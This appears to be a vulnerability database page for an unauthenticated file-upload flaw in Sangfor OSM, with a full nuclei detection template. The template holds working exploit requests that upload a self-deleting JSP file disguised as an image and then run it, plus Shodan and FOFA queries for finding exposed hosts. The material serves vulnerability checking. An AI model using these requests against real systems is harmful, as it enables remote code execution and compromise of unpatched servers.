HexBrain

Browse / CVEs / CVE-2025-15503

CVE-2025-15503· CWE-434

Sangfor OSM - Arbitrary File Upload

criticalseverity
2%likelihood of exploitation, next 30 days
81%of all CVEs are less likely
Readycheck to confirm it

Sangfor Operation and Maintenance Management System <= 3.0.8 contains an unrestricted file upload vulnerability caused by manipulation of the \"File\" argument in /fort/trust/version/common/common.jsp, letting remote attackers upload arbitrary files, exploit requires no special privileges.

Impact

Remote attackers can upload arbitrary files, potentially leading to remote code execution or system compromise.

Fix

Update to the latest version.

How to confirm it

Send: POST /fort/trust/version/common/common.jsp
Positive when: status_code == 200 and contains(body, "Upload success")
Send: GET /fort/trust/version/common/{{randstr}}.jsp
Positive when: status_code == 200 and contains(body, md5(to_string(randnum)))

Run it with nuclei: nuclei -id CVE-2025-15503 -u <target>

The full check
id: CVE-2025-15503

info:
  name: Sangfor OSM - Arbitrary File Upload
  author: Ark
  severity: critical
  description: |
    Sangfor Operation and Maintenance Management System <= 3.0.8 contains an unrestricted file upload vulnerability caused by manipulation of the \"File\" argument in /fort/trust/version/common/common.jsp, letting remote attackers upload arbitrary files, exploit requires no special privileges.
  impact: |
    Remote attackers can upload arbitrary files, potentially leading to remote code execution or system compromise.
  remediation: |
    Update to the latest version.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-15503
    - https://github.com/advisories/GHSA-h49h-jpp7-xv85
  classification:
    cve-id: CVE-2025-15503
    epss-score: 0.02036
    epss-percentile: 0.81259
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"/fort/login"
    fofa-query: body="/fort/login" && product="SANGFOR-运维安全管理系统"
  tags: cve,cve2025,sangfor,osm,rce,fileupload,intrusive,vkev

variables:
  randnum: "{{rand_int(100000000, 999999999)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /fort/trust/version/common/common.jsp HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

        ------WebKitFormBoundary
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.jsp"
        Content-Type: image/png

        <%@page import="java.security.MessageDigest,java.math.BigInteger"%><%MessageDigest md=MessageDigest.getInstance("MD5");md.update("{{randnum}}".getBytes());out.print(new BigInteger(1,md.digest()).toString(16));new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
        ------WebKitFormBoundary--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Upload success")'
        condition: and
        internal: true

  - raw:
      - |
        GET /fort/trust/version/common/{{randstr}}.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, md5(to_string(randnum)))'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from